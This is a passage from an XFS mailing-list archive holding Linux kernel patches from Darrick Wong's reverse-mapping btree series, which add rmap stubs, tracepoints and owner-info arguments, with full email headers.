(error) return error; diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 5711700..b3d1665 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -439,6 +439,8 @@ xfs_growfs_data_private( * There are new blocks in the old last a.g. */ if (new) { + struct xfs_owner_info oinfo; + /* * Change the agi length. */ @@ -473,10 +475,11 @@ xfs_growfs_data_private( * XFS_RMAP_OWN_NULL is used here to tell the rmap btree that * this doesn't actually exist in the rmap btree. */ + XFS_RMAP_AG_OWNER(&oinfo, XFS_RMAP_OWN_NULL); error = xfs_free_extent(tp, XFS_AGB_TO_FSB(mp, agno, be32_to_cpu(agf->agf_length) - new), - new, XFS_RMAP_OWN_NULL); + new, &oinfo); if (error) goto error0; } diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 242ed5d..129b9a1 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3786,6 +3786,7 @@ xlog_recover_process_efi( int error = 0; xfs_extent_t *extp; xfs_fsblock_t startblock_fsb; + struct xfs_owner_info oinfo; ASSERT(!test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)); @@ -3818,11 +3819,12 @@ xlog_recover_process_efi( goto abort_error; efdp = xfs_trans_get_efd(tp, efip, efip->efi_format.efi_nextents); + XFS_RMAP_AG_OWNER(&oinfo, XFS_RMAP_OWN_UNKNOWN); for (i = 0; i < efip->efi_format.efi_nextents; i++) { extp = &(efip->efi_format.efi_extents[i]); error = xfs_trans_free_extent(tp, efdp, extp->ext_start, extp->ext_len, - XFS_RMAP_OWN_UNKNOWN); + &oinfo); if (error) goto abort_error; diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index ee277fa..50fe77e 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -222,7 +222,7 @@ struct xfs_efd_log_item *xfs_trans_get_efd(xfs_trans_t *, uint); int xfs_trans_free_extent(struct xfs_trans *, struct xfs_efd_log_item *, xfs_fsblock_t, - xfs_extlen_t, uint64_t); + xfs_extlen_t, struct xfs_owner_info *); int xfs_trans_commit(struct xfs_trans *); int __xfs_trans_roll(struct xfs_trans **, struct xfs_inode *, int *); int xfs_trans_roll(struct xfs_trans **, struct xfs_inode *); diff --git a/fs/xfs/xfs_trans_extfree.c b/fs/xfs/xfs_trans_extfree.c index 1b7d6d5..d1b8833 100644 --- a/fs/xfs/xfs_trans_extfree.c +++ b/fs/xfs/xfs_trans_extfree.c @@ -119,13 +119,13 @@ xfs_trans_free_extent( struct xfs_efd_log_item *efdp, xfs_fsblock_t start_block, xfs_extlen_t ext_len, - uint64_t owner) + struct xfs_owner_info *oinfo) { uint next_extent; struct xfs_extent *extp; int error; - error = xfs_free_extent(tp, start_block, ext_len, owner); + error = xfs_free_extent(tp, start_block, ext_len, oinfo); /* * Mark the transaction dirty, even on error. This ensures the From darrick.wong@oracle.com Tue Oct 6 23:55:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D65B57F72 for ; Tue, 6 Oct 2015 23:55:44 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5F345AC008 for ; Tue, 6 Oct 2015 21:55:44 -0700 (PDT) X-ASG-Debug-ID: 1444193742-04bdf020da0e360001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 3FZ0FiKjF8fog727 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:55:42 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974tfwE010153 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:55:41 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974tf6i002143 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:55:41 GMT Received: from abhmp0009.oracle.com (abhmp0009.oracle.com [141.146.116.15]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974tfAM005619; Wed, 7 Oct 2015 04:55:41 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:55:40 -0700 Subject: [PATCH 08/58] xfs: introduce rmap extent operation stubs From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 08/58] xfs: introduce rmap extent operation stubs To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:55:39 -0700 Message-ID: <20151007045539.30457.73683.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193742 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner Add the stubs into the extent allocation and freeing paths that the rmap btree implementation will hook into. While doing this, add the trace points that will be used to track rmap btree extent manipulations. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 fs/xfs/libxfs/xfs_alloc.c | 11 +++++ fs/xfs/libxfs/xfs_rmap.c | 89 ++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_rmap_btree.h | 30 +++++++++++++ fs/xfs/xfs_trace.h | 37 +++++++++++++++++ 5 files changed, 168 insertions(+) create mode 100644 fs/xfs/libxfs/xfs_rmap.c create mode 100644 fs/xfs/libxfs/xfs_rmap_btree.h diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index a096841..5e65a07 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -51,6 +51,7 @@ xfs-y += $(addprefix libxfs/, \ xfs_inode_fork.o \ xfs_inode_buf.o \ xfs_log_rlimit.o \ + xfs_rmap.o \ xfs_sb.o \ xfs_symlink_remote.o \ xfs_trans_resv.o \ diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index 44db7b1..2722b44 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -26,6 +26,7 @@ #include "xfs_mount.h" #include "xfs_inode.h" #include "xfs_btree.h" +#include "xfs_rmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_alloc.h" #include "xfs_extent_busy.h" @@ -644,6 +645,12 @@ xfs_alloc_ag_vextent( ASSERT(!args->wasfromfl || !args->isfl); ASSERT(args->agbno % args->alignment == 0); + /* insert new block into the reverse map btree */ + error = xfs_rmap_alloc(args->tp, args->agbp, args->agno, + args->agbno, args->len, args->owner); + if (error) + return error; + if (!args->wasfromfl) { error = xfs_alloc_update_counters(args->tp, args->pag, args->agbp, @@ -1610,6 +1617,10 @@ xfs_free_ag_extent( xfs_extlen_t nlen; /* new length of freespace */ xfs_perag_t *pag; /* per allocation group data */ + error = xfs_rmap_free(tp, agbp, agno, bno, len, owner); + if (error) + goto error0; + mp = tp->t_mountp; /* * Allocate and initialize a cursor for the by-block btree. diff --git a/fs/xfs/libxfs/xfs_rmap.c b/fs/xfs/libxfs/xfs_rmap.c new file mode 100644 index 0000000..3958cf8 --- /dev/null +++ b/fs/xfs/libxfs/xfs_rmap.c @@ -0,0 +1,89 @@ + +/* + * Copyright (c) 2014 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_bit.h" +#include "xfs_sb.h" +#include "xfs_mount.h" +#include "xfs_da_format.h" +#include "xfs_da_btree.h" +#include "xfs_btree.h" +#include "xfs_trans.h" +#include "xfs_alloc.h" +#include "xfs_rmap_btree.h" +#include "xfs_trans_space.h" +#include "xfs_trace.h" +#include "xfs_error.h" +#include "xfs_extent_busy.h" + +int +xfs_rmap_free( + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno, + xfs_agblock_t bno, + xfs_extlen_t len, + uint64_t owner) +{ + struct xfs_mount *mp = tp->t_mountp; + int error = 0; + + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return 0; + + trace_xfs_rmap_free_extent(mp, agno, bno, len, owner); + if (1) + goto out_error; + trace_xfs_rmap_free_extent_done(mp, agno, bno, len, owner); + return 0; + +out_error: + trace_xfs_rmap_free_extent_error(mp, agno, bno, len, owner); + return error; +} + +int +xfs_rmap_alloc( + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno, + xfs_agblock_t bno, + xfs_extlen_t len, + uint64_t owner) +{ + struct xfs_mount *mp = tp->t_mountp; + int error = 0; + + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return 0; + + trace_xfs_rmap_alloc_extent(mp, agno, bno, len, owner); + if (1) + goto out_error; + trace_xfs_rmap_alloc_extent_done(mp, agno, bno, len, owner); + return 0; + +out_error: + trace_xfs_rmap_alloc_extent_error(mp, agno, bno, len, owner); + return error; +} diff --git a/fs/xfs/libxfs/xfs_rmap_btree.h b/fs/xfs/libxfs/xfs_rmap_btree.h new file mode 100644 index 0000000..f1caa40 --- /dev/null +++ b/fs/xfs/libxfs/xfs_rmap_btree.h @@ -0,0 +1,30 @@ +/* + * Copyright (c) 2014 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#ifndef __XFS_RMAP_BTREE_H__ +#define __XFS_RMAP_BTREE_H__ + +struct xfs_buf; + +int xfs_rmap_alloc(struct xfs_trans *tp, struct xfs_buf *agbp, + xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, + uint64_t owner); +int xfs_rmap_free(struct xfs_trans *tp, struct xfs_buf *agbp, + xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, + uint64_t owner); + +#endif /* __XFS_RMAP_BTREE_H__ */ diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index 5ed36b1..7360593 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -1674,6 +1674,43 @@ DEFINE_ALLOC_EVENT(xfs_alloc_vextent_noagbp); DEFINE_ALLOC_EVENT(xfs_alloc_vextent_loopfailed); DEFINE_ALLOC_EVENT(xfs_alloc_vextent_allfailed); +DECLARE_EVENT_CLASS(xfs_rmap_class, + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, + xfs_agblock_t agbno, xfs_extlen_t len, uint64_t owner), + TP_ARGS(mp, agno, agbno, len, owner), + TP_STRUCT__entry( + __field(dev_t, dev) + __field(xfs_agnumber_t, agno) + __field(xfs_agblock_t, agbno) + __field(xfs_extlen_t, len) + __field(uint64_t, owner) + ), + TP_fast_assign( + __entry->dev = mp->m_super->s_dev; + __entry->agno = agno; + __entry->agbno = agbno; + __entry->len = len; + __entry->owner = owner; + ), + TP_printk("dev %d:%d agno %u agbno %u len %u, owner 0x%llx", + MAJOR(__entry->dev), MINOR(__entry->dev), + __entry->agno, + __entry->agbno, + __entry->len, + __entry->owner) +); +#define DEFINE_RMAP_EVENT(name) \ +DEFINE_EVENT(xfs_rmap_class, name, \ + TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ + xfs_agblock_t agbno, xfs_extlen_t len, uint64_t owner), \ + TP_ARGS(mp, agno, agbno, len, owner)) +DEFINE_RMAP_EVENT(xfs_rmap_free_extent); +DEFINE_RMAP_EVENT(xfs_rmap_free_extent_done); +DEFINE_RMAP_EVENT(xfs_rmap_free_extent_error); +DEFINE_RMAP_EVENT(xfs_rmap_alloc_extent); +DEFINE_RMAP_EVENT(xfs_rmap_alloc_extent_done); +DEFINE_RMAP_EVENT(xfs_rmap_alloc_extent_error); + DECLARE_EVENT_CLASS(xfs_da_class, TP_PROTO(struct xfs_da_args *args), TP_ARGS(args), From darrick.wong@oracle.com Tue Oct 6 23:55:52 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CA7DB7F51 for ; Tue, 6 Oct 2015 23:55:51 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9E0BC304032 for ; Tue, 6 Oct 2015 21:55:51 -0700 (PDT) X-ASG-Debug-ID: 1444193749-04bdf020dc0e370001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Bd0NTHTtO7g3nxf5 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:55:49 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974tmhY004954 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:55:48 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974tlEX024710 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:55:48 GMT Received: from abhmp0018.oracle.com (abhmp0018.oracle.com [141.146.116.24]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974tlCW005655; Wed, 7 Oct 2015 04:55:47 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:55:47 -0700 Subject: [PATCH 09/58] xfs: extend rmap extent operation stubs to take full owner info From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 09/58] xfs: extend rmap extent operation stubs to take full owner info To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:55:46 -0700 Message-ID: <20151007045546.30457.69922.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193749 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Extend the stubs to take full owner info. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_alloc.c | 23 ++++++++++++++--------- fs/xfs/libxfs/xfs_rmap.c | 16 ++++++++-------- fs/xfs/libxfs/xfs_rmap_btree.h | 4 ++-- fs/xfs/xfs_trace.h | 22 +++++++++++++++------- 4 files changed, 39 insertions(+), 26 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index 2722b44..3c55fa7 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -645,11 +645,13 @@ xfs_alloc_ag_vextent( ASSERT(!args->wasfromfl || !args->isfl); ASSERT(args->agbno % args->alignment == 0); - /* insert new block into the reverse map btree */ - error = xfs_rmap_alloc(args->tp, args->agbp, args->agno, - args->agbno, args->len, args->owner); - if (error) - return error; + /* if not file data, insert new block into the reverse map btree */ + if (args->oinfo.oi_owner) { + error = xfs_rmap_alloc(args->tp, args->agbp, args->agno, + args->agbno, args->len, &args->oinfo); + if (error) + return error; + } if (!args->wasfromfl) { error = xfs_alloc_update_counters(args->tp, args->pag, @@ -1617,16 +1619,19 @@ xfs_free_ag_extent( xfs_extlen_t nlen; /* new length of freespace */ xfs_perag_t *pag; /* per allocation group data */ - error = xfs_rmap_free(tp, agbp, agno, bno, len, owner); - if (error) - goto error0; + bno_cur = cnt_cur = NULL; + + if (oinfo->oi_owner) { + error = xfs_rmap_free(tp, agbp, agno, bno, len, oinfo); + if (error) + goto error0; + } mp = tp->t_mountp; /* * Allocate and initialize a cursor for the by-block btree. */ bno_cur = xfs_allocbt_init_cursor(mp, tp, agbp, agno, XFS_BTNUM_BNO); - cnt_cur = NULL; /* * Look for a neighboring block on the left (lower block numbers) * that is contiguous with this space. diff --git a/fs/xfs/libxfs/xfs_rmap.c b/fs/xfs/libxfs/xfs_rmap.c index 3958cf8..3e17294 100644 --- a/fs/xfs/libxfs/xfs_rmap.c +++ b/fs/xfs/libxfs/xfs_rmap.c @@ -43,7 +43,7 @@ xfs_rmap_free( xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, - uint64_t owner) + struct xfs_owner_info *oinfo) { struct xfs_mount *mp = tp->t_mountp; int error = 0; @@ -51,14 +51,14 @@ xfs_rmap_free( if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) return 0; - trace_xfs_rmap_free_extent(mp, agno, bno, len, owner); + trace_xfs_rmap_free_extent(mp, agno, bno, len, oinfo); if (1) goto out_error; - trace_xfs_rmap_free_extent_done(mp, agno, bno, len, owner); + trace_xfs_rmap_free_extent_done(mp, agno, bno, len, oinfo); return 0; out_error: - trace_xfs_rmap_free_extent_error(mp, agno, bno, len, owner); + trace_xfs_rmap_free_extent_error(mp, agno, bno, len, oinfo); return error; } @@ -69,7 +69,7 @@ xfs_rmap_alloc( xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, - uint64_t owner) + struct xfs_owner_info *oinfo) { struct xfs_mount *mp = tp->t_mountp; int error = 0; @@ -77,13 +77,13 @@ xfs_rmap_alloc( if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) return 0; - trace_xfs_rmap_alloc_extent(mp, agno, bno, len, owner); + trace_xfs_rmap_alloc_extent(mp, agno, bno, len, oinfo); if (1) goto out_error; - trace_xfs_rmap_alloc_extent_done(mp, agno, bno, len, owner); + trace_xfs_rmap_alloc_extent_done(mp, agno, bno, len, oinfo); return 0; out_error: - trace_xfs_rmap_alloc_extent_error(mp, agno, bno, len, owner); + trace_xfs_rmap_alloc_extent_error(mp, agno, bno, len, oinfo); return error; } diff --git a/fs/xfs/libxfs/xfs_rmap_btree.h b/fs/xfs/libxfs/xfs_rmap_btree.h index f1caa40..a3b8f90 100644 --- a/fs/xfs/libxfs/xfs_rmap_btree.h +++ b/fs/xfs/libxfs/xfs_rmap_btree.h @@ -22,9 +22,9 @@ struct xfs_buf; int xfs_rmap_alloc(struct xfs_trans *tp, struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, - uint64_t owner); + struct xfs_owner_info *oinfo); int xfs_rmap_free(struct xfs_trans *tp, struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, - uint64_t owner); + struct xfs_owner_info *oinfo); #endif /* __XFS_RMAP_BTREE_H__ */ diff --git a/fs/xfs/xfs_trace.h b/fs/xfs/xfs_trace.h index 7360593..4e7a889 100644 --- a/fs/xfs/xfs_trace.h +++ b/fs/xfs/xfs_trace.h @@ -1676,34 +1676,42 @@ DEFINE_ALLOC_EVENT(xfs_alloc_vextent_allfailed); DECLARE_EVENT_CLASS(xfs_rmap_class, TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, - xfs_agblock_t agbno, xfs_extlen_t len, uint64_t owner), - TP_ARGS(mp, agno, agbno, len, owner), + xfs_agblock_t agbno, xfs_extlen_t len, + struct xfs_owner_info *oinfo), + TP_ARGS(mp, agno, agbno, len, oinfo), TP_STRUCT__entry( __field(dev_t, dev) __field(xfs_agnumber_t, agno) __field(xfs_agblock_t, agbno) __field(xfs_extlen_t, len) __field(uint64_t, owner) + __field(uint64_t, offset) + __field(unsigned long, flags) ), TP_fast_assign( __entry->dev = mp->m_super->s_dev; __entry->agno = agno; __entry->agbno = agbno; __entry->len = len; - __entry->owner = owner; + __entry->owner = oinfo->oi_owner; + __entry->offset = oinfo->oi_offset; + __entry->flags = oinfo->oi_flags; ), - TP_printk("dev %d:%d agno %u agbno %u len %u, owner 0x%llx", + TP_printk("dev %d:%d agno %u agbno %u len %u, owner 0x%llx, offset %llu, flags 0x%lx", MAJOR(__entry->dev), MINOR(__entry->dev), __entry->agno, __entry->agbno, __entry->len, - __entry->owner) + __entry->owner, + __entry->offset, + __entry->flags) ); #define DEFINE_RMAP_EVENT(name) \ DEFINE_EVENT(xfs_rmap_class, name, \ TP_PROTO(struct xfs_mount *mp, xfs_agnumber_t agno, \ - xfs_agblock_t agbno, xfs_extlen_t len, uint64_t owner), \ - TP_ARGS(mp, agno, agbno, len, owner)) + xfs_agblock_t agbno, xfs_extlen_t len, \ + struct xfs_owner_info *oinfo), \ + TP_ARGS(mp, agno, agbno, len, oinfo)) DEFINE_RMAP_EVENT(xfs_rmap_free_extent); DEFINE_RMAP_EVENT(xfs_rmap_free_extent_done); DEFINE_RMAP_EVENT(xfs_rmap_free_extent_error); From darrick.wong@oracle.com Tue Oct 6 23:55:59 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 922EA7F37 for ; Tue, 6 Oct 2015 23:55:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8057D304039 for ; Tue, 6 Oct 2015 21:55:59 -0700 (PDT) X-ASG-Debug-ID: 1444193756-04cb6c578a0d400001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id JEyh4tzoiX8ziEnA (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:55:56 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974tsm0005003 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:55:55 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974tsKi024833 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:55:54 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974tsVG002766; Wed, 7 Oct 2015 04:55:54 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:55:53 -0700 Subject: [PATCH 10/58] xfs: define the on-disk rmap btree format From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 10/58] xfs: define the on-disk rmap btree format To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:55:52 -0700 Message-ID: <20151007045552.30457.32265.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193756 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner Now we have all the surrounding call infrastructure in place, we can start fillin gout the rmap btree implementation. Start with the on-disk btree format; add everything needed to read, write and manipulate rmap btree blocks. This prepares the way for adding the btree operations implementation. Signed-off-by: Dave Chinner --- fs/xfs/Makefile | 1 fs/xfs/libxfs/xfs_btree.c | 3 + fs/xfs/libxfs/xfs_btree.h | 18 ++-- fs/xfs/libxfs/xfs_format.h | 27 ++++++ fs/xfs/libxfs/xfs_rmap_btree.c | 187 ++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_rmap_btree.h | 31 +++++++ fs/xfs/libxfs/xfs_sb.c | 6 + fs/xfs/libxfs/xfs_shared.h | 2 fs/xfs/xfs_mount.h | 2 9 files changed, 269 insertions(+), 8 deletions(-) create mode 100644 fs/xfs/libxfs/xfs_rmap_btree.c diff --git a/fs/xfs/Makefile b/fs/xfs/Makefile index 5e65a07..dc40462 100644 --- a/fs/xfs/Makefile +++ b/fs/xfs/Makefile @@ -52,6 +52,7 @@ xfs-y += $(addprefix libxfs/, \ xfs_inode_buf.o \ xfs_log_rlimit.o \ xfs_rmap.o \ + xfs_rmap_btree.o \ xfs_sb.o \ xfs_symlink_remote.o \ xfs_trans_resv.o \ diff --git a/fs/xfs/libxfs/xfs_btree.c b/fs/xfs/libxfs/xfs_btree.c index b642170..13971c6 100644 --- a/fs/xfs/libxfs/xfs_btree.c 